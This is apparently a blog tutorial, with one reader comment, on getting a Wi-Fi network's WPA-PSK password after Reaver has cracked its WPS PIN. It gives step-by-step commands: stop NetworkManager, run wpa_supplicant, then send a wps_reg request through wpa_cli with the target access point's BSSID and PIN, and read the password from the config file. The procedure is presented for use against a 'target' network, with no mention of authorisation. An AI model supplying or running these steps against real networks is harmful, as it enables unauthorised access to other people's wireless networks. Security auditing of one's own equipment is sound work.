Reaver cracked WPS PIN but does not reveal WPA-PSK password (SOLVED)

If your WPS PIN attack was successful but Reaver did not show WPA-PSK passphrase, try to launch Reaver again with -p option. If it does not help, use the following method.

Your wireless interface should be in Managed Mode. Also it is necessary to stop NetworkManager:

sudo systemctl stop NetworkManager

Now create text file named wpa_supplicant.conf:

sudo gedit /etc/wpa_supplicant.conf

Copy-Paste these strings:


Save and close the file.

Then get to know the name of your wireless interface:

sudo iw dev

After that issue the command:

sudo wpa_supplicant -i <INTERFACE> -c /etc/wpa_supplicant.conf

Where replace <INTERFACE> with actual name of wireless network interface. For instance, my interface is called wlan0, so I type:

sudo wpa_supplicant -i wlan0 -c /etc/wpa_supplicant.conf

You should see the output:

Successfully initialized wpa_supplicant

Do not close the first terminal window (!), open one more terminal and type:

sudo wpa_cli

In the second window type:


You will get output like this:


It is necessary to know BSSID and PIN of the target Access Point to compose a command:

wps_reg xx:xx:xx:xx:xx:xx 12345678

For instance, MAC of my target AP is 00:1E:58:C6:AC:FB, and its PIN is 82452995. So I issue:

wps_reg 00:1E:58:C6:AC:FB 82452995

Enter this new command in the second terminal window.

Wait until you see:

CTRL-EVENT-CONNECTED - Connection to 00:1e:58:c6:ac:fb completed [id=0 id_str=]

Then you may close both windows (CTRL+c).

Open the file in which we saved three lines:

sudo gedit /etc/wpa_supplicant.conf

As you can see, several new lines were added to it. Look at psk="testtest". Here we found the WPA Wi-Fi password. It is testtest.

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One Comment to Reaver cracked WPS PIN but does not reveal WPA-PSK password (SOLVED)

  1. glenn says:

    whin i do ( 

    (sudo wpa_supplicant -i wlan0 -c /etc/wpa_supplicant.conf)

    i get=================

    sudo wpa_supplicant -i wlan0 -c /etc/wpa_supplicant.conf
    Successfully initialized wpa_supplicant
    ctrl_iface exists and seems to be in use - cannot override it
    Delete '/var/run/wpa_supplicant/wlan0' manually if it is not used anymore
    Failed to initialize control interface '/var/run/wpa_supplicant'.
    You may have another wpa_supplicant process already running or the file was
    left by an unclean termination of wpa_supplicant in which case you will need
    to manually remove this file before starting wpa_supplicant again.

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